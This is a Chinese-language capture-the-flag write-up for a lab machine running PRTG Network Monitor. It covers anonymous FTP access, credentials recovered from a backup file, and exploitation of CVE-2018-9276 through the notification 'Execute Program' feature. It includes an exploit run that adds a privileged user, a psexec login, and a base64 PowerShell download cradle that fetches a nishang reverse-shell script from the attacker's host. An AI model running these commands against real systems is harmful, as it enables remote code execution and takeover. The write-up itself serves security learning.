文章目录
- 信息收集
- 解题
- 创建用户exp
- powershell脚本
信息收集
扫描结果还是很丰富的 nmap -sC -sV -p- -T4 ip
ftp
服务直接允许匿名登录了,直接连接,翻目录,在 Users/Public/
里就看到了 user flag
,get
命令保存到本地查看,很简单
web页面是一个软件登录页面
解题
找到 C:\ProgramData\Paessler\PRTG Network Monitor
目录下的bak
文件,下载下来
发现账号密码
登录web,需要将 2018 改成 2019,进去之后并没有明显的 flag
查看软件版本漏洞,可以到找https://cve.mitre.org/cve/search_cve_list.html
一共25条记录,本次用到的是CVE-2018-9276
,只有版本条件的话,很多CVE
都可以测试
创建用户exp
找exp
https://www.exploit-db.com/
这个exp
是新建了一个高权限用户,首先登录网站将cookie
复制下来,执行
./exp.sh -u http://10.10.10.152 -c "Cookie: _ga=GA1.4.1240577677.1679066684; _gid=GA1.4.1653577811.1680591211; OCTOPUS1813713946=e0JGODY3NjhFLTgwMzQtNEJCMy1CMjhCLTI5Q0Q1NUE3MzhFN30="
新建用户之后就可以连接了
impacket-psexec pentest:'P3nT3st!'@10.10.10.152
查看flag
powershell脚本
如果不添加新用户可以选择远程下载恶意powershell
脚本执行,而且一个优点就是不需要上传可执行程序来加载payload,这里使用的是nishang
框架
# 首先导入脚本Import-Module .\nishang.psm1# 查看都有哪些模块Get-Command -Module nishang
使用此脚本
由于自带脚本容易被识别为恶意脚本,所以还需要将其加载到内存执行,使用以下命令
echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.16.2/Invoke-PowerShellTcp.ps1')" | iconv -t UTF-16LE | base64 -w0
这段代码的解释
我们本地的恶意脚本如何编写呢?还是同样的道理,一个反弹shell的命令,添加到nishang自带的脚本中去
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.2 -Port 4444' >>Invoke-PowerShellTcp.ps1
接下来就是让目标主机远程加载我们的脚本,本机开启http服务
python3 -m http.server 80
该软件的RCE漏洞在哪里?位置如下:Setup > Account Settings > Notifications.
别的都很正常,这里有一个功能,Execute Program
,执行程序,可以看到它传进去几个参数,这里可以实现命令拼接执行,执行导出的base64编码的powershell脚本(此处我填写了用户名密码导致复现失败!)
成功获取shell
查看flag